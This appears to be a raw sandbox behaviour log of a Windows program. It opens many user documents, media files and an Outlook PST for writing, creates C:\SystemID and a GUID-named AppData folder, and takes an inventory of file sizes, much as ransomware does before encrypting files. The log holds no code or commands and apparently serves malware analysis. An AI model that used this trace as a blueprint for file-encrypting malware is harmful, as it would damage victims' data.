Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\O57pDGQlUBqcEPgoi.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\rFlztk.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\T1u8H1vvlEAle1MGZ.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\gLb9EGvUD\7rSet.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\gLb9EGvUD\gx-9m.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\gLb9EGvUD\h72CJ5GET.ots desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\gLb9EGvUD\I_dy9.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\gLb9EGvUD\s gpfWvsnWdJ9uw9U90P.xls desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\2qASZGVP1ayqj\6 XGwY-lUt_VoBNPc3ul.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\2qASZGVP1ayqj\mWTdUCHrEprNZbw4.ppt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\2qASZGVP1ayqj\vJNcNYrw.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Pgl1JgetxAYIiS\5wR63HlMWYvMti0btzx.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Pgl1JgetxAYIiS\BfZiGgPvckLte.ppt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Pgl1JgetxAYIiS\CWuI5tTSoD.pps desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Pgl1JgetxAYIiS\stmz_Vxkz.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\785B1FSYcl.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\Cy1YKeDsElTUF.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\g6CVw2EHUNZkVnHB.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\qUE__ZQn.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\tJu9GFmu.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\YdDnZ8.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\oN6ToGM.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\TVjDvLMaCl23iZhTXt4.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\yXKk5eT.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\2HbpYbcNbRAx3BVQy_4\-GixDHhS.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\2HbpYbcNbRAx3BVQy_4\9Foxmgw_VTzUMX-5QnnJ.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\2HbpYbcNbRAx3BVQy_4\qD42xM.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\2HbpYbcNbRAx3BVQy_4\vbIN9brYc.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\2HbpYbcNbRAx3BVQy_4\ZtnE68o.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\z50Nlqq\0m0V.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\z50Nlqq\1A2_P.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\z50Nlqq\UJ6BqLq.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\5Xxg.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\AVJ6FiEz4zaaIViNRlw.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\XkvJ3DgV.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\Ep5U\mgLfL.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\Ep5U\uXJJkT2ouMZrco.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\oD8Tz2pMYKkYRQ-RJT2T\3H2e QdbjRnRRz5agWcn.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\oD8Tz2pMYKkYRQ-RJT2T\9uSUEFdDE_x6kIyiIV5t.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\oD8Tz2pMYKkYRQ-RJT2T\FQ-FG1l4EdSgSR3.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\Deployment\deployment.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\06IT.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\8e9tUhNS.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\AY5wVsgvxZG.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\qWXQp5P.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\j Bzi11dBX.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\lrQc.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\qIBKN1tzN.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\SRxR.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\AgA3ZST-09kNuz.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\n1AeAV2zVh4radr0H.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\QEzesBv71jyTVEofztiW.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\xO2H6bL0ka2.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\oD8Tz2pMYKkYRQ-RJT2T\1lVVKbf-aOgvA-CAW_mM\857-pQdYn.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\oD8Tz2pMYKkYRQ-RJT2T\1lVVKbf-aOgvA-CAW_mM\zF1DR1kS3V.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\3O75JDME\www.google[1].xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\Qsu-c\bdG_-DYiIf114xqMAY.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\Qsu-c\iZica-.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\Qsu-c\pa U3CiwSuzLbnk.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9 - True 1
Fn
Create Directory C:\SystemID - True 1
Fn
Get Info C:\SystemID\PersonalID.txt type = file_type True 1
Fn
Get Info C:\Boot\BCD.LOG1 type = size, size_out = 0 True 1
Fn
Get Info C:\Boot\BCD.LOG2 type = size, size_out = 0 True 1
Fn
Get Info C:\Boot\BOOTSTAT.DAT type = size, size_out = 65536 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact type = size, size_out = 1178 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact type = size, size_out = 68382 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact type = size, size_out = 1171 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact type = size, size_out = 1177 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact type = size, size_out = 1174 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact type = size, size_out = 1172 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\5zH-zIr1.jpg type = size, size_out = 5428 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\aOnv.rtf type = size, size_out = 72456 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\BHoyqXyEnI.wav type = size, size_out = 95145 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c9bdd6Fy9R2i0LIdNVF1.doc type = size, size_out = 53950 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\dCkeRMnueuS.png type = size, size_out = 15621 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\F6Te.xlsx type = size, size_out = 61232 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\G75P.bmp type = size, size_out = 49775 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ilxSdGe1gMuCMD u.m4a type = size, size_out = 56982 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\I_wqzl.wav type = size, size_out = 93349 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\kmiNoteKSNX.bmp type = size, size_out = 52014 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\PbgTn4O2W.mp3 type = size, size_out = 51678 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Q28Inf3N_0B4jbpxb7Nm.bmp type = size, size_out = 25035 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\sBE3Xge.mkv type = size, size_out = 3322 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\T-5.mkv type = size, size_out = 62552 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ti-oi3g-0V2.gif type = size, size_out = 15965 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\W_6RWJXn.pdf type = size, size_out = 6863 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\zbn0rhaHx NfXQs.flv type = size, size_out = 67353 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\-p4ffBCma.pptx type = size, size_out = 52184 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\1dRMBdJ8JilqvY.pptx type = size, size_out = 71330 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\2toarBW5rlEiNoO5.xlsx type = size, size_out = 95785 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\5eg1.docx type = size, size_out = 25900 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\9oBPh66lU7Zt.pptx type = size, size_out = 36763 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\BuZP.pptx type = size, size_out = 78153 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ckvWAPm3 YLx5ut.pptx type = size, size_out = 2000 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\c_0f9-L4gyuk6.xlsx type = size, size_out = 66434 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\g7OWFNW_481.docx type = size, size_out = 39102 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\mKDXp.docx type = size, size_out = 42746 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\t5djWBc.xlsx type = size, size_out = 5668 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\VbVUQGncHIj1 ec.xlsx type = size, size_out = 70526 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\xCUGudyvE2cZEXnf.docx type = size, size_out = 58559 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yB1sPauX7FL.docx type = size, size_out = 46940 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yjqyP77NFy.xlsx type = size, size_out = 16476 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\gN3ngE.m4a type = size, size_out = 69002 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\H2RlJNYiG6Mk.mp3 type = size, size_out = 19613 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\miLI HhNB0PH1Dx.mp3 type = size, size_out = 14757 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\gsjZHHkpLbVJkW1Clgz.jpg type = size, size_out = 13260 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\QCte6Xmtwsu.gif type = size, size_out = 50163 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\EVN7NAajpgvxg30uiR.mp4 type = size, size_out = 63045 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\flxbNwcWgV0n4kR.flv type = size, size_out = 32141 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Pea4H1Vnl0zHM1NrtA.avi type = size, size_out = 32740 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\cU4HnKjcRa.mp4 type = size, size_out = 74817 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\wn06NIgti1n58uLcV.pptx type = size, size_out = 36096 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\_GY pjw8nLR.avi type = size, size_out = 33532 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\Favorites.vss type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst type = size, size_out = 271360 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\0yRPUT6TDREHeWByR4rP.docx type = size, size_out = 90236 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZYI0v6_buDm-d9O.odp type = size, size_out = 34129 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\Kv9O7qYcn-HRyPYLby.xls type = size, size_out = 32625 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\nbee0Jd.doc type = size, size_out = 15749 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\o5D3Phk7JF5o4RP.xls type = size, size_out = 3810 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\pty5yFAIeFtI0nYC_b.odp type = size, size_out = 26355 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\tHX0zgZ7OA49IM.xlsx type = size, size_out = 60589 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\x6ElzgARF.doc type = size, size_out = 55966 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url type = size, size_out = 236 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url type = size, size_out = 226 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url type = size, size_out = 133 True 1
Fn
